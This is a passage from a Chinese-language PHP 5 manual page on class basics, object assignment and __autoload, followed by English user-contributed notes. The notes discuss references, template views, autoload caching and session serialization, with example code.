print $foo->{'aMemberFunc'}(); // Prints "Inside `aMemberFunc()`"
print $foo->{$foo->aFuncName}(); // Prints "Inside `aMemberFunc()`"
?>
add a note add a note

后退 | 起点 | 前进
对象的比较 | 上一级 | 基本概念


基本概念

class

每个类的定义都以关键字 class 开头，后面跟着类名，可以是任何非 PHP 保留字的名字。后面跟着一对花括号，里面包含有类成员和方法的定义。伪变量 $this 可以在当一个方法在对象内部调用时使用。$this 是一个到调用对象（通常是方法所属于的对象，但也可以是另一个对象，如果该方法是从第二个对象内静态调用的话）的引用。看下面例子：

<?php
class A
{
    function foo()
    {
        if (isset($this)) {
            echo '$this is defined (';
            echo get_class($this);
            echo ")\n";
        } else {
            echo "\$this is not defined.\n";
        }
    }
}

class B
{
    function bar()
    {
        A::foo();
    }
}

$a = new A();
$a->foo();
A::foo();
$b = new B();
$b->bar();
B::bar();
?>

上例将输出：

$this is defined (a)
$this is not defined.
$this is defined (b)
$this is not defined.

例子 19-1. 简单的类定义

<?php
class SimpleClass
{
    // 成员声明
    public $var = 'a default value';

    // 方法声明
    public function displayVar() {
        echo $this->var;
    }
}
?>

new

要创建一个对象的实例，必须创建一个新对象并将其赋给一个变量。当创建新对象时该对象总是被赋值，除非该对象定义了构造函数并且在出错时抛出了一个异常。

例子 19-2. 创建一个实例e

<?php
$instance = new SimpleClass()
?>

当把一个对象已经创建的实例赋给一个新变量时，新变量会访问同一个实例，就和用该对象赋值一样。此行为和给函数传递入实例时一样。可以用克隆给一个已创建的对象建立一个新实例。

例子 19-3. 对象赋值

<?php
$assigned   =  $instance;
$reference  =& $instance;

$instance->var = '$assigned will have this value';

$instance = null; // $instance and $reference become null

var_dump($instance);
var_dump($reference);
var_dump($assigned);
?>

上例将输出：

NULL
NULL
object(SimpleClass)#1 (1) {
   ["var"]=>
     string(30) "$assigned will have this value"
}

extends

一个类可以在声明中用 extends 关键字继承另一个类的方法和成员。不能扩展多个类，只能继承一个基类。

被继承的方法和成员可以通过用同样的名字重新声明被覆盖，除非父类定义方法时使用了 final 关键字。可以通过 parent:: 来访问被覆盖的方法或成员。

例子 19-4. 简单的类继承

<?php
class ExtendClass extends SimpleClass
{
    // Redefine the parent method
    function displayVar()
    {
        echo "Extending class\n";
        parent::displayVar();
    }
}

$extended = new ExtendClass();
$extended->displayVar();
?>

上例将输出：

Extending class
a default value

add a note add a note User Contributed Notes
edwardzyang at thewritingpot dot com
14-Apr-2006 03:47
I read the first few comments about references versus assignment on objects, and I still couldn't get it. I'm going to talk about it in terms of practical usage, not the tomfoolery occuring behind the scenes. No talk of memory pointers and the like.

<?php

// prepend this to all examples

class Mushroom
{
   public $size;
   public function __construct($size) {
       $this->size = $size;
   }
}

$mushroom = new Mushroom(1);
$assigned_shroom = $mushroom;
$reference_shroom =& $mushroom;

?>

Assignments and references, when it comes down to calling functions and modifying member variables, don't make ANY difference at all.

<?php

$mushroom->size = 5;

// all shrooms are size 5

?>

The only deviation of behavior is when you assign totally new contents to a variable. Usually, this never happens unless you're doing some strange reflection or injection.

<?php

$mushroom = 5;

// mushroom and reference_shroom are the integer 5, assigned_shroom is still a mushroom

?>

<?php

$reference_shroom = 5;

// same effect as example above

?>

<?php

$assigned_shroom = 5;

// only assigned_shroom is an integer

?>

The same would apply for any object type.

Once again, I reiterate, there's no need to overwrite variables and open this can of worms: just make a new variable and be done with it. As long as you don't overwrite variables, it doesn't matter whether or not you use references or assignments (unless you're planning for PHP4 compatibility).
ben AT chemica.co.uk
01-Feb-2006 09:40
PHP classes helpfully allow you to define member variables on the fly. On top of that, dynamic variables mean you can create them by name from strings.

This means you can ape the 'Ruby On Rails' view system - or replace heavyweight templating systems like Smarty - with very little code:

view.class.php:

<?

class View
{
   public function AddVariables($aVariables){
       foreach($aVariables as $name => $value){
           $this->AddVariable($name, $value);
       }
   }

   public function AddVariable($name, $value){
       $this->$name = $value; // <--- Note the extra $
   }

   public function Render($template){
       include($template . ".php");
// You could put validation in here, so it exits cleanly if the template is missing.
   }

   protected function AddParagraph($strText){
       echo("<p>" . $strText . "</p>");
   }

   protected function AddOptions($aOptions, $strSelected){
       foreach($aOptions as $value => $text){
           echo "<option value='" . $value . "'";
           if($value==$strSelected){echo " selected";}
               echo ">" . $text . "</option>\n";
       }
   }
}

// The code below would normally be in a calling page/class.

$v = new View();
$v->AddVariables(array("peach"=>"fruit", "carrot"=>"vegetable"));
$v->AddVariables(array("options" => array("1"=>"Jan", "2"=>"Feb", "3"=>"March")));
$v->AddVariable("bodytext", "Some content goes here");

$v->Render("test");

?>

test.php:

<html>
<body>
<p>A peach is a <? echo $this->peach; ?>.</p>
<p>A carrot is a <? echo $this->carrot; ?>.<p>

<form action="#" method="GET">
<select id="test">
<? $this->AddOptions($this->options, 2); ?>
</select>
</form>
<? $this->AddParagraph($this->bodytext); ?>
</body>
</html>

This means you can unleash the awesome power of PHP on your templates, allowing all kinds of cool tricks, while ensuring you're not mixing up your display and business code. You only have access to the variables you pass in there yourself. Oh, and the library of markup rendering member functions you'll create. In PHP.

You can re-use templates - just use the same variables with a different page.

You can swap in different mark-up languages programatically, so you could make versions that spit out HTML, XHTML, WML, and XML for SOAP interfaces.

It's entirely extensible. Either write in more PHP member functions to automate view-based tasks, or derive new classes and extend the functionality that way. (Perfect for your proprietary XML language helper functions - they really don't belong in the same class that's generating XHTML.)

The best part is that it's all PHP, so you don't have to learn a new language (as you would do with Smarty - or if you wanted to switch over to Ruby on Rails.)

Hope someone finds it useful. If anyone makes any improvements, corrections etc. I'd love to see them. :)

You'll need a recent version of PHP5 to run it - some earlier versions gave strange scoping errors with the use of $this. I know that build date 'Jan 11 2006 16:35:21' works.
mrich at runbox dot removethis dot com
07-Dec-2005 05:45
PHP 4.3.10:

<?php

class foo {

   var $what;

   function foo($newWhat = 'foo') {
       $this->what = $newWhat;
   }

   function bar() {
       print "<p>I'm a ".$this->what."</p>\n";
   }

}

$var = 'foo';

$obj = new $var;
// prints "I'm a foo"
$obj->bar();

$obj = new $var();
// prints "I'm a foo"
$obj->bar();

$obj = new $var('bar');
// prints "I'm a bar"
$obj->bar();

?>
npugh at tacc dot utah dot edu
30-Nov-2005 06:10
Note that a function defined in the parent class may not access a private member of a child class.

<?php
   class A
   {
       public function foo() { echo $this->x; }
   }

   class B extends A
   {
       protected $x = "class B's member";
   }

   class C extends A
   {
       private $x = "class C's member";
   }

   $b = new B();
   $b->foo();
   $c = new C();
   $c->foo();

   // Output:
   // class B's member
   // Fatal error: Cannot access private property C::$x
?>

In the above example, if you don't want to duplicate function foo() in all of the child classes you would have to make each member foo() operates on protected or public.  Effectively breaking encapsulation to in order to implement polymorphism.
PHP at Rulez dot com
11-Oct-2005 01:35
Check this!!!

<?php
class foo{
  function bar() {
   return $this;
  }
  function hello() {
   echo "Hello";
  }
}
$foo = new foo();
$foo->bar()->bar()->bar()->bar()->hello();
?>

Haaa! Rulezzz!
chris dot good at NOSPAM dot geac dot com
13-Sep-2005 12:32
Note that Class names seem to be case-insensitive in php 5.
eg
class abc
{
..
{
class def extends ABC
{
..
}

works fine.
jerry
13-Jun-2005 05:30
Note the little correction on graced's notes below:

Your explanation looks correct about how instances created and destroyed, just wanted to correct some errors in your code below. But Thank you greatly for explaining that I appreciate it.

<?php
  $obj1 = new stdclass();
  var_dump($obj1);  // object #1
  $obj1 = new stdclass();
  var_dump($obj1);  // object #2
  // no more references to object #1, so it is destroyed.
  $obj1 = new stdclass();  // object #1 (object #2 destroyed right after this expression)
  var_dump($obj1);
  $obj2 = $obj1;  // two variables now reference object #1
  $obj1 = new stdclass();  // becomes object #2
  var_dump($obj1);
  $obj1 = new stdclass(); // object #3
  var_dump($obj1);
?>

Output:

object(stdClass)#1 (0) {
}
object(stdClass)#2 (0) {
}
object(stdClass)#1 (0) {
}
object(stdClass)#2 (0) {
}
object(stdClass)#3 (0) {
}
rasmus at nospaam dot flajm dot com
06-Apr-2005 06:22
A very good (in my opinion) change in PHP5 is that objects are always passed by reference. In PHP4 they where passed by value, which cased a copy to be made for every call. (as long as you didn't use "&" of cause)

This example illustrates pass-by-reference, as the name changes in the same object, passed around two different ways:

<?php

class Mother {
  private $obj = null;
  public function setChild($o) {
   $this->obj = $o;
  }
  public function getChild() {
   return $this->obj;
  }
}

class Child {
  private $name = 'noname';
  public function setName($string) {
   $this->name = $string;
  }
  public function getName() {
   return $this->name;
  }
}

$mom = new Mother();
$frasse = new Child();
$frasse->setName('Johan');

$mom->setChild($frasse);
$frasse->setName('Frans');

print $frasse->getName() . "\n";
print $mom->getChild()->getName() . "\n";

?>

This will print:

Frans
Frans

In PHP4, this would print:

Frans
Johan
graced at monroe dot NOSPAM dot wednet dot edu
30-Mar-2005 02:46
In reponse to jerry's comment: "If you instantiate a class and assign it to a variable over and over again, php will start saving instances #1 and #2 in memory but will stop at these"...

This is because after assigning the new object to the variable, there is no longer anything referencing the old object so it is destroyed.  If there WAS another reference, say you assigned another variable to the first variable before setting the first to a new class, it'd be preserved.

In reality, this really makes no difference to the programmer, just thought an explanation was in order.

<?php
  $obj1 = new stdclass();
  var_dump($obj1);  // object #1
  $obj1 = new stdclass();
  var_dump($obj1);  // object #2
  // no more references to object #1, so it is destroyed.
  $obj1 = new stdclass();  // object #1
  var_dump($obj1);
  $obj2 = $obj1;  // two variables now reference object #1
  $obj1 = new stdclass();  // becomes object #3
  // no more references to object #2, so it is destroyed
  var_dump($obj1);
  $obj1 = new stdclass(); // object #2
  //etc.
?>
tigr at mail15 dot com
01-Mar-2005 08:08
Objects are not being passed by reference as varables do. Let me try to explain:

Variable passing by reference means that two variables are being binded together, so that changing one variable leads to changes in the other. In fact, there is only one variable.

Object passing by reference is a bit different. It means that not the object itself is being passed (that would lead to copying it and all evil), but only reference to the object is being passed. Now, both VARIABLES point to the same object, BUT they DO NOT point to each other. There are TWO DIFFERENT variables. This means that if you change one VARIABLE, second one would still point to the same object.

So, adding reference operator still has some sense. Here is an example:

<?php

class sampleClass {
   public $id;
   public function __construct($id) { $this->id=$id; }
}
$object1 = new sampleClass(1);
$object2 = $object1;
echo $object1->id; // 1
echo $object2->id; // 1

$object2 = new sampleClass(2);
echo $object1->id; // 1 So, $object1 was not changed. It still links
                   // to the same object
echo $object2->id; // 2

$object3 = &$object1; // note the reference operator
$object3 = new sampleClass(3);

echo $object1->id; // 3 This time $object one was changed since it
                   // was bound with $object3
echo $object2->id; // 2
echo $object3->id; // 3

?>
jerry
13-Jan-2005 02:41
If you instantiate a class and assign it to a variable over and over again, php will start saving instances #1 and #2 in memory but will stop at these, and will not save more than those instances(ie. #3, #4, #5, #6...). Instead it will toggle between #1 and #2.

<?php
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
  $obj1 = new stdclass();
  var_dump($obj1);
?>
Richard (php at tsg1985 dot com)
13-Dec-2004 12:36
"Actually, the new variable will access a COPY of the instance and not the SAME instance. This is shown by the example: var_dump($assigned) was not NULLified because a COPY of the instance was assigned to $assigned..."

This is actually incorrect. However, it is explained really poorly in the article.

$instance = new SimpleClass();
This creates the new SimpleClass Object location in the memory. (This spot in memory stores all of the variable and the code to execute.)Then, it points the variable $instance to that location in the memory.

$assigned =$instance;
This takes the location that $instance is pointed to and points the variable $assigned to it as well.

$reference  =& $instance;
This line of code points $refrence to the memory spot which contains the location of the SimpleClass object, not the object!

$instance->var = '$assigned will have this value';
This changes the values stored in SimpleClass Object's memory. Since $assigned points to this location as well, $assinged>var is the same value.

$instance = null;
This tells instance to point at nothing. So, it breaks its link to the SimpleClass object. $refrence points to $instance still, but since $instance points to nothing $refrence will also point to nothing.

I know this is kind of tough to understand, so I made an animated gif showing the steps.
http://www.prism.gatech.edu/~gtg624r/Code_Explenation.gif
add a note add a note

后退 | 起点 | 前进
类与对象（PHP 5） | 上一级 | 自动加载对象


自动加载对象

很多开发者写面向对象的应用程序时对每个类的定义建立一个 PHP 源文件。一个很大的烦恼是不得不在每个脚本（每个类一个文件）开头写一个常常的包含文件列表。

在 PHP 5 中，不再需要这样了。可以定义一个 __autoload 函数，它会在试图使用尚未被定义的类时自动调用。通过调用此函数，脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。

注: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

例子 19-5. Autoload 例子

本例尝试分别从 MyClass1.php 和 MyClass2.php 文件中加载 MyClass1 和 MyClass2 类。

<?php
function __autoload($class_name) {
    require_once $class_name . '.php';
}

$obj  = new MyClass1();
$obj2 = new MyClass2();
?>

add a note add a note User Contributed Notes
phpman at generic dot depoll dot de
16-May-2006 05:47
"Inspired" by unspammable-iain at iaindooley dot com, here is another approach to the dreaded PHP_INCOMPLETE_CLASS problem:

<?php
/**
 * Provides an include function which caches the path to a class in order to provide a better autoload functionality.
 *
 * While the  Includer::doInclude() function  takes a a string  as an argument, which  includes path information, __autoload() will
 * always get a "naked" classname. In order to find the according path for that class, we use our cache which essentially is a hash
 * of the form  array(className => filePath).  The inevitable  constraint of  that approach  is obvious:  we can't remember several
 * pathes for one and the same  classname, meaning that it either  has to be  unique or you have to use several  Includers for your
 * different, but equally named, classes.
 *
 * @author    "Niels Ganser" <phpman@generic.depoll.de>
 */
class Includer {
   static private $instance;
   private $includePaths = array();
   private $hasChanged = false;

   /**
     * We use Singeltons here, so please use this function to get an Includer instance.
     *
     * @return    Includer    An instance of Includer. And only one.
     */
   public function instance() {
       if (empty(self::$instance))
           self::$instance = new Includer(INCLUDE_PATH_CACHE);
       return self::$instance;
   }

   /**
     * @param    string    Path to the cache file. Obviously has to be read- and writable by the webserver user.
     */
   private function __construct($cacheFile) {
       if (file_exists($cacheFile))
           $this->includePaths = unserialize(file_get_contents($cacheFile));
   }

   /**
     * Checks if the path to a class with the given name is cached.
     *
     * @param    string    $className    Name of a class
     * @return    boolean
     */
   static public function isCached($className) {
       return (isset(self::instance()->includePaths[$className])) ? true : false;
   }

   /**
     * Returns the cached path for the given classname or null if there is nothing cached.
     *
     * @param    string    $className    Name of a class
     * @return    mixed                A filepath (string) which we remember as leading to the given class or null if we have
     *                                no clue as to where to look for the class.
     */
   static public function getPath($className) {
       return (self::isCached($className)) ? self::instance()->includePaths[$className] : null;
   }

   /**
     * Includes (or requires) a given class.
     *
     * @param    string    $class        The path to our class in a package.className format.
     *                                I.e. "classes.money.AUD" would lead to "classes/money/AUD.php".
     * @param    boolean    $required    If true, we require the file instead of just trying to include it.
     * @return    boolean                Return value of the require_once resp. include_once statement.
     */
   static public function doInclude($class, $required = false) {
       $className = substr($class, strrpos($class, '.')+1);
       $path = str_replace('.', '/', $class) .'.php';
       if (!isset(self::instance()->includePaths[$className]) or self::instance()->includePaths[$className] != $path) {
           self::instance()->includePaths[$className] = $path;
           self::instance()->hasChanged = true;
       }
       return ($required) ? require_once $path : include_once $path;
   }

   /**
     * Writes the cache to disk, if its contents have changed.
     */
   public function __destruct() {
       if (self::instance()->hasChanged)
           file_put_contents(INCLUDE_PATH_CACHE, serialize(self::instance()->includePaths));
   }
}
?>

It has the smell of a workaround but I think it is a rather clean one. And here is a simple __autoload function for use with Includer:

 <?php
function __autoload($className) {
   if (Includer::isCached($className))
       include_once Includer::getPath($className);
   else
       trigger_error('Cannot find '. $className, E_USER_ERROR);
}
?>

Of course you can extend that function to use other loading mechanisms if Includer::isCached() returns false. Also please note, that in the above implementation INCLUDE_PATH_CACHE has to the full path to a web server writable file.

The inline documentation is shortened a bit. The complete file is on http://ng.nerdking.de/static/php/Includer.phps

Cheers,
Niels
RQuadling at GMail dot com
08-Mar-2006 04:55
An issue I've had with using the __autoload function is getting it into the application.

You have to have the function included in every topmost script. This is a pain if the entire application is OOP and an "app" can be just a component of another "app".

A solution I've found is to use php.ini's auto_prepend_file setting.

Mine is set to ...

auto_prepend_file = auto_loader.php

The auto_loader.php script contains a single function. The __autoload() function.

The include_dir path IS examined to find this file, so you can just put it with the rest of your includable files.

A useful additional facility here is that you could log which classes are used by a script at runtime. Very useful if you have object factories and can't know the load at design time.

Also, assigning the uncaught exception handler and the error handlers in this file means your entire site WILL have some global protection without you having to deal with it on a script by script basis.

If you do not have access to the PHP.INI file, or you are running on a shared server, you may not be able to set this property. In those cases, you may be able to set the value using .htaccess. (NOTE: UNTESTED as I don't use Apache).

<IfModule mod_php5.c>
  php_value auto_prepend_file "auto_loader.php"
</IfModule>

You COULD therefore have a different set of rules per subdomain (if you have multiple subdomains, say, live, test, beta, devel) or whatever takes your fancy.

For more details on this see the "Description of core php.ini directives" (http://www.php.net/manual/en/ini.core.php)
steven at gandso dot com
08-Mar-2006 04:10
An alternative to __autoload for PHP4.

<?php
/**
 * Set the variable
 **/
$string = "";

/**
 * Find pathnames matching the pattern
 **/
foreach( glob( $_SERVER['DOCUMENT_ROOT'] . "/classes/class.*.inc" ) as $filename )
{
   /**
     * Include and evaluates the specific file
     **/
   require_once( $filename );

   /**
     * Get the classnames
     **/
   if( preg_match( "/class\\.(.+?)\\.inc/", $filename, $className ) )
   {
       /**
         * Create a variable of the desired type with the 'new' operator
         **/
       $string .= "$" . $className[1] . " = new " . ucfirst( $className[1] ) . ";";
   }
}

/**
 * Evaluate the string as PHP code
 **/
eval( $string );
?>
unspammable-iain at iaindooley dot com
07-Feb-2006 10:44
in response to the post by UNSPAMMABLEkai at kaiundina dot de, i have another interesting implementation of the __autoload() system.

i have all my classes in their own file, where ThisClassName would be in the file this_class_name.class.php (Ruby inspired :-)

i really like having all class dependencies at the top of the class file, because you can tell at a glance what packages/classes a particular class uses/depends on, but this meant big loading times for huge class heirarchies, even if all those classes were not being used.

so i created my own require function that uses a serialised array of include paths, and then an __autoload() function that will get the required included path when it is needed _only_. this also allows for nice and liberal directory structures.

Here is the file with all the implementation in it:

<?
   @$contents = file_get_contents('managed_code/includes.php');

   if($contents)
       $include_paths = unserialize($contents);
   else
       $include_paths = array();

   function __autoload($class)
   {
       if($path = rsIncludePath($class))
           require_once($path);
       else
       {
           echo('You need to call rsRequire() before using a class: '.$class);
           debug_print_backtrace();
       }
   }

   function rsIncludePath($class)
   {
       global $include_paths;
       $ret = '';

       if(isset($include_paths[$class]))
           $ret = $include_paths[$class];

       return $ret;
   }

   function rsRequire($class,$required = true)
   {
       global $include_paths;
       $classname = rsClassName($class);

       $path = preg_replace('/\./','/',rsClasstoFile($class));
       $path .= '.class.php';

       if((!file_exists('packages/'.$path)))
       {
           echo('couldn\'t load package: '.$class.'<br /><br />

');
           if($required)
               debug_print_backtrace();
       }

       else
       {
           $path = 'packages/'.$path;

           if(isset($include_paths[$classname]))
           {
               if($include_paths[$classname]!=$path)
               {
                   $include_paths[$classname] = $path;
                   rsPersist();
               }
           }

           else
           {
               $include_paths[$classname] = $path;
               rsPersist();
           }
       }
   }

   function rsClassName($class)
   {
       $split = preg_split('/\./',$class);
       $class_name = $split[count($split)-1];
       return $class_name;
   }

   function rsPersist()
   {
       global $include_paths;
       $data = serialize($include_paths);
       file_put_contents('managed_code/includes.php',$data);
   }
?>

Now here is a class file:

<?
   rsRequire('package.name.SomeBaseClass');
   rsRequire('package.name.MightNotBeUsed');

   class ThisClass extends SomeBaseClass
   {
       /**ALL MY CODE***/
   }
?>

the class file for MightNotBeUsed would only be included if it was actually used in the class code. Also, notice that the above method is quite efficient because it only unserialises the array of include paths once, and will only reserialise the array in the case that it is a new include path, or the include path has changed. Also notice that this is 'session safe', meaning if you register a session object and then your application dies, you will not get class non-existing errors the next time you run it because the include paths are serialised as they are added. Enjoy!
dave60 /at/ gmail /dot/ com
30-Dec-2005 05:25
In reply to quetzalcoatl:

Generally, I would advise for each class to have it's own file, and hold nothing besides that class. Just define __autoload() in a/the infrastructure file -- a/the file that does the behavioral logic, and there should be no need to redefine it in a class' file.
me at mydomain dot com
12-Nov-2005 08:07
You can enable this behaviour for undefined classes while unserializing objects by setting the .ini-variable 'unserialize_callback_func' to '__autoload'.
quetzalcoatl(AT)poczta.fm
06-Nov-2005 07:21
While __autoloading is a nice feature, one can stumble upon small problem with it. Imagine:

file A.php:
<?
   function __autoload($cname)
   {  require_once "include/$cname.php";}
   }

   B::testC();
?>

file B.php:
<?
   function __autoload($cname)
   {  require_once "include/$cname.php";}
   }

   class B
   {  public static function test()
       {  C::testMe();
       }
   }
?>

file C.php:
<?
   class C
   {  public static function testMe()
       {  print("OK!");
       }
   }
?>

Now, running file A.php will result in an error.. because from A's point of view, function __autoload is declared twice - once in A.php, and in required_once'd B.php, too! [Not mentioning that C.php and many many many other required or included files could use it too :) ] So, of course we can remove the duplicate __autoload functions from B.php and any other required files. Thus, we either disallow usage of B.php independently (and other required-able/include-able files!) , as without the __autoload it can not work -- or we have to manually require_once its dependecies, thus making manually the job of __autoload. Irritating, isn't it?

A simple trick can help us here. Every file you would place an __autoload function, place instead something like:
   if(!function_exists("__autoload"))
   {  //your __autoload declaration, for example:
       function __autoload($cname)
       {  require_once "include/$cname.php";
       }
   }

When I first tried it, I was really surprised that you can control functions' declaration with simple IF, without any evals or other tricks.

Well.. it's probably a basic "trick", but I didn't notice it anywhere. Feel free to remove it if it was already posted somewhere:)
info at tobiasdemuth dot de
04-Nov-2005 05:02
Hey there,
I've published c^2, an autoloading-system with self-modificating cache and directory crawler under www.tobias-demuth.de.
License is LGPL - just include it and don't think about class-inclusion anymore!

kind regards
Tobias
shurikk at gmail dot com
07-Oct-2005 05:33
one more thing about my previous example/comment (there is a bug :) )

--- file a.php should be like this
<?php
class A {
   public $a;

   function __construct($a) {
       $this->a = $a;
   }

   // our kinda magic method
   public function getClassFile() {
       return __FILE__;
   }

}
?>
--- end a.php

one more file to test the example

--- b1.php
<?php

include('Session.php');

$a = new A();
$a = Session::put('a', $a);

// go to b.php now

?>
--- end b1.php

open b1.php, and then b.php in your browser.

in the Session class you might want to implement remove() method.

thanks

--alex
shurikk at gmail dot com
07-Oct-2005 04:31
somebody might find this "quick and dirty" example useful (see the code below). BTW, is there a magic metod that tells you what the class file name is? If none, perhaps a feature request?

What this example about: store objects in the session and restore them without worry of what external files to be "required" (solves the problem when you get incomplete PHP object, when your class is not declared prior unserialize())

PHP5, but easy to adapt for PHP4

--- file Session.php
<?php

session_start();

// don't do any comments, nothing special in this class IMO
class Session {
   public static function has($name) {
       return isset($_SESSION[$name]);
   }

   public static function get($name) {
       if(Session::has($name)) {
           if(Session::has('__requireFiles')) {
               $requireFiles = unserialize($_SESSION['__requireFiles']);
               if(array_key_exists($name, $requireFiles)) {
                   require_once($requireFiles[$name]);
               }
           }

           return unserialize($_SESSION[$name]);
       }

       return null;
   }

   public static function put($name, $value) {
       if(is_object($value)) {
           if(method_exists($value, 'getClassFile')) {
               if(!($requireFiles = Session::get('__requireFiles')))
                   $requireFiles = array();

               $requireFiles[$name] = $value->getClassFile();
               Session::put('__requireFiles', $requireFiles);
           }
       }

       $_SESSION[$name] = serialize($value);
   }
}
?>
--- end Session.php

--- file a.php
<?php

include('Session.php');

// an object, all as usuall, but with one magic method
// getClassFile(), you can call it whatever you like
class A {
   public $a;

   function __construct($a) {
       $this->a = $a;
   }

   // our kinda magic method
   public function getClassFile() {
       return __FILE__;
   }

}

$a = new A('test');
Session::put('a', $a);

}
?>
--- end a.php

--- file b.php
<?php

include('Session.php');

// everybody's happy :)
$a = Session::get('a');

?>
--- end b.php
kai at kaiundina dot de
21-Sep-2005 03:34
To: gomasj at gmail dot com

I strongly disagree in that "no well organized programmer will need to use it".

The method reduces the overhead when loading unneeded classes while encouraging the use of well organized class libraries.

Assume you have a class needing an undetermined number of other classes to operate properly - let's say an XML-parser that parses a document into an object tree (one class per element is a typical procedure).

A common behavior was to load all possibly needed classes in advance - regardless if they would be used ever. That would be a performance deasaster for the above case.

Another possibility was to load the particular class when needed - providing a path to the file containing the class declaration. Since relative path's in PHP are calculated relative to the script handling the client request, they're some kind of complex to manage in huge projects, where the script can be called from various locations.

If you're willing to move a class's declaration file to another location (directory) you have to update each reference to that file.

Lot's of well organized programmers (so are you), wrote their own mechanisms so solve these problems. But you always had to make at least one call to load the class file each time it might possibly be referenced for the first time in code execution - that are:
- new
- extends
- implements
- Type hints
- static reference (class::xxx)
- deserialization of sessions

__autoload() simply provides an event handler to centralize the loading of a class's declaration only when it's needed for the first time. Regardless where or by what the request occurred.

So it keeps your code clean, fast and allows you to reorganize your class-library as you like without modifying any of your source files (except the autoload-function itself).

We use the autoload feature in a 200,000 lines php-project as follows:
The 'ClassManager' maintains a cache file containing the file paths to each class-declaration. Whenever an unknown class (not present in the cache, yet) is requested, it searches the directories for a file containing the desired class declaration and adds it to the cache for the next time. This method allows us to modify our class-library at will. We can add, move or remove classes without adjusting a single line of code. When our software starts up, the ClassManager has to handle about 6,000 class requests - without having to worry about performance reasons.

I am developer and project manager in the project mentioned above (a web based cms) - so I'd call myself well organized.

Anyway,
thanks for your opinion
php at kaiundina dot de
21-Sep-2005 02:42
The autoload-feature allows to add the behavior of static constructors (like in C#). Static constructors should be called on the first occurence of a class reference - typically a 'new' operator or a static call to a class's operation.

They can be used used to initialize complex static properties.

And here is an easy and save way how it can be done:

Content of MyClass.class.php5:
<?php

// demo class persisting of a static and a dynamic constructor
class MyClass
{

   // static constructor operation
   public static function _construct()
   {
       // just say hello
       echo '<div>static constructor</div>';
   }

   // default dynamic constructor operation
   public function __construct()
   {
       // just say hello
       echo '<div>dynamic constructor</div>';
   }

}

?>

Content of index.php5:
<?php

// declare handler for any unknown class request
function __autoload($aClassName)
{
   // load the class
   require_once ($aClassName . '.class.php5');

   // create a reference to the static constructor's operation
   $staticConstructorReference = array($aClassName, '_construct');

   // if the static constructor was declared properly...
   if (is_callable($staticConstructorReference))
   {
       // call the static constructor
       call_user_func($staticConstructorReference);
   }
}

// create an example object to see both constructors being executed
$article = new MyObject();

?>
andy bravery
16-Sep-2005 05:37
kencomer, I think there is a problem with your function below in that if strpos() or stripos() locate your class name at the beginning of the filename string then they return a position 0 which gets interpretted as a boolean FALSE. For me this meant my file was never found.
kencomer at NOSPAM dot kencomer dot com
14-Sep-2005 09:46
Yet another class/interface __autoload function. Includes an example usage of the SPL DirectoryIterator class, a settable case-ignore flag, and support for multiple file name patterns to allow easy integration from multiple sources.

<?php
/**
 * __autoload
 *
 * @author Ken Comer
 * @copyright released into public domain 2005 Ken Comer
 */

define('IGNORE_CASE',true);
// comment out the define() of IGNORE_CASE to be
//  case-sensitive. I like to ignore case so that I can
//  use UPPERCASE for the test versions of the file.

/**
 * autoloads classes and interfaces for PHP5
 *
 * @author Ken Comer
 */

function __autoload($class_name) {

  // This will be set the first time through.
  // Put your default values in the place indicated
  //    below so as to eliminate possible duplicates
  //    in the .ini include_path
  static $possible_path = NULL;
  // Leave this as NULL.

  // List here whatever formats you use for your
  //    file names. Note that, if you autoload
  //    a class that implements a non-loaded interface,
  //    you will also need to autoload that interface.
  static $permitted_formats = array(
   "&CLASS.class.inc"
   ,"&CLASS.class.inc.php"
   ,"&CLASS.class.inc.php5"
   ,"class.&CLASS.inc"
   ,"class.&CLASS.inc.php"
   ,"class.&CLASS.inc.php5"
   ,"&CLASS.interface.inc"
   ,"&CLASS.interface.inc.php"
   ,"&CLASS.interface.inc.php5"
   ,"i&CLASS.interface.inc"
   ,"i&CLASS.interface.inc.php"
   ,"i&CLASS.interface.inc.php5"
  );
  //  Put the &CLASS wherever the $class_name
  //    might appear

  // Only executed the first time __autoload is called
  if (NULL===$possible_path):
   // These are the default paths for this application
   $possible_path = array_flip(array(
       "."
       ,".."
       ,"../include"
       ,"/public_html/php/include"
   ));
   // Customize this yourself, but leave the
   //      array_flip alone. We will use this
   //      to get rid of duplicate entries from the
   //      include_path .ini list.

   // Merge the flipped arrays to get rid of duplicate
   //      "keys" (which are really the valid include
   //      paths) then strip out the keys leaving only
   //      uniques. This is marginally faster than
   //      using array_combine and array_unique and
   //      much more elegant. Okay, it's weird, too.
   $possible_path = array_keys(array_merge($possible_path,
           array_flip(explode(ini_get("include_path"),";"))));
  endif; /* static $possible_path initialization */

  $possibility = str_replace("&CLASS",$class_name,$permitted_formats);

  foreach ( $possible_path as $directory ) {
   if (!file_exists($directory) or !is_dir($directory))
   {
     continue;
   }
   $file_to_check = new DirectoryIterator($directory);

   foreach ( $file_to_check as $file ) {
     // ignore directories and files that do not contain
     // $class_name
     if ( !$file->isDir()
         and ( defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
           ? stripos($file->getFileName(),$class_name)
           : strpos($file->getFileName(),$class_name) ) :

       // class_name was included, now compare against
       // all permitted file name patterns
       foreach ( $possibility as $compare ):
           if ((defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
               ? !strcasecmp($compare,$file->getFileName())
               : $compare===$file->getFileName()
           ) {
             // by using $compare, you will get a qualified
             //    file name
             include_once($compare);
             return TRUE;
           }
       endforeach; /* $possibility */

     endif;
   } /* foreach $file_to_check */
  }
}
?>
sr at brightlight dot ch
25-Jul-2005 05:52
If you want to autoload functions you can do this with a little work-around:
<?php
   class utilities
   {
       protected    static $instance;

       protected function __construct()
       {
       }

       public function get()
       {
           if (isset(self::$instance)) {
               return self::$instance;
           } else {
               self::$instance    = new utilities();
               return self::$instance;
           }
       }

       public function __call($function, $arguments)
       {
           if (!function_exists($function)) {
               include_once("function.$function.inc");
           }
           return call_user_func_array($function, $arguments);
       }
   }

   utilities::get()->someFunction(...); // the file 'function.someFunction.inc' should be somewhere in the include_path
?>
Unfortunately __call() is only invoked when the method is accessed via -> and not via ::.
sr at brightlight dot ch
01-Jul-2005 12:43
I hope this helps some people:

<?php
